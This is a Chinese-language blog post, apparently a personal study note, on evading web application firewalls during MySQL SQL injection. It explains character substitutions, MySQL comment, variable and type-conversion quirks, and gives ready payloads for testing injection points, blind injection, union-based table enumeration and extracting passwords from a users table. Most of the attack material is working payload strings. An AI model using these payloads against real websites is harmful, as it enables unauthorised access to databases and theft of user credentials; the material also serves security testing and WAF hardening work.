美文网首页读书
01.(1)sql注入waf篇

01.(1)sql注入waf篇

作者: 新一mghc | 来源:发表于2019-03-24 15:16 被阅读0次

0x01 等价字符

  1. 空格:%20,+,(),%0a,%09,%a0,%0b,%0c,%0d,/**/等
  2. =:like,regexp,liker,<>,!=等 (一般ctf中常见)
  3. and:&&
  4. or: xor,&,^,||(and或or可以相互替换,只是两边条件不同)
  5. 逗号:盲注中 from 1 for 1,联合查询中 A join B。

关于替换字符自行fuzz尝试,方法还有很多。

0x02 MySQL的特性

1. =,:=,@

MySQL中“=”为等于的意思,只有在update set时为赋值的意思。
“:=”为赋值的意思。

在MySQL中变量不需要定义,利用@+变量名可直接调用。

image

2. 注释符

在MySQL中可以使用的注释符有:

/**/ 可用于多行注释。

--(我是空格),#。

但是在MySQL中有一个独有的特性就是注释符中叹号后面的内容仍可以解析,比如/!and/,并且叹号后面的数字小于或等于MySQL版本号的话同样会解析。

3. 换行

在MySQL中换行后内容会继续执行

4. MySQL的隐式类型转换

先看两个示例,应该就很容易明白了。

image

0x03. 绕waf的一些想法

1. 判断注入点

image

经测试:

and //不拦截
and a //不拦截
and !//不拦截
and 1 //拦截

可以发现,当and连接数字时waf会进行拦截,因此只需要在数字或者and与数字中间进行干扰即可。

and /*!1=1*/
and--+a%0a1/*!=*/1
and @s1ye:=1/0
image

注入点确定后,分别测试一下盲注与联合查询注入。

盲注

利用MySQL变量进行盲注

在圈子看到一篇盲注的payload总结,感觉还是有些麻烦了。可以利用@x:=来构造一个简单的payload:

and @s1ye:=length(database/**/())

image

其他payload可以利用 注释符—+加任意干扰字符加换行符%0a来进行绕过。主要的思路就是利用参数污染来干扰waf的规则。

利用MySQL的隐式类型转换进行盲注

简单说一下:

select * from test where id = '1'-(length(database())>0)+'1';
image

联合查询注入

union //不拦截
select //不拦截
union select //拦截

当waf拦截了哪种组合,利用注释加换行即可,效果如下所示,发现可以正常执行。

image

<pre>

payload:

-1' union--+x%0aselect 1,2,3--+ </pre>

接下来读取数据库数据

-1' union--+x%0aselect 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

发现被拦截,fuzz发现waf会过滤掉函数,以及group_concat(table_name) from,这里去掉from前的空格,database()=>database () 或 database/**/()。

image

这里也可以利用database()的0x16进制。

读取用户名密码

union--x%0aselect 1,2,group_concat(password)from users

//配合注释符/*/有奇效,可自行测试。

以下为整理的waf中可用的系统变量及函数:

@@version/**/
user/**/()
database/**/()
/**/@@version_compile_os

系统变量的注释符放在前后都可。

总结

对于绕waf,我的理解为,多了解一些数据库的特性,一些不常见小的技巧、函数等,分析waf的规则,在MySQL命令行中fuzz即可,waf规则总有漏网之鱼。
最后,文章只是记录自己学习的过程,有些payload不是很完善,仅仅是一些想法分享。

相关文章

  • 01.(1)sql注入waf篇

    0x01 等价字符 空格:%20,+,(),%0a,%09,%a0,%0b,%0c,%0d,/**/等 =:lik...

  • [SQL注入]一些绕过WAF的技术

    [SQL注入]一些绕过WAF的技术 本文是在各种方法的WAF的总结,我们可以在测试bypass WAF使用下面的方...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • sql 注入绕过waf

    6.特殊符号 特殊字符是什么?除了字符串和数字都是特殊字符 比如~!@#¥%…………&*()— 乌云的一篇waf绕...

  • Sql 注入 绕过 WAF

    1.大小写绕过 2.替换关键字 3.URL双重编码 4.使用注释 5.同功能的函数替换 6.特殊符号 7.HTTP...

  • SQL注入之WAF-Bypass

    title: SQL注入之WAF Bypassdate: 2019-05-07 12:00:26tags:- My...

  • WAF的技术原理

    WAF—Web Application Firewall ,可以用来屏蔽常见的网站漏洞攻击,如SQL注入,XML注...

  • 其他-审计

    1. sql 注入 waf baypass 2. xss 3. 文件包含 伪协议绕过(如果限制了路径不能用伪协议和...

  • Openresty 配置 waf

    Waf作用: 防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击 防止svn/备...

  • 2.sql注入

    sql注入的防御方法:1.对输入的sql语句进行过滤或者转义2.使用waf3.数据库预编译(在根源上杜绝)http...

网友评论

    本文标题:01.(1)sql注入waf篇

    本文链接:https://www.haomeiwen.com/subject/sybyvqtx.html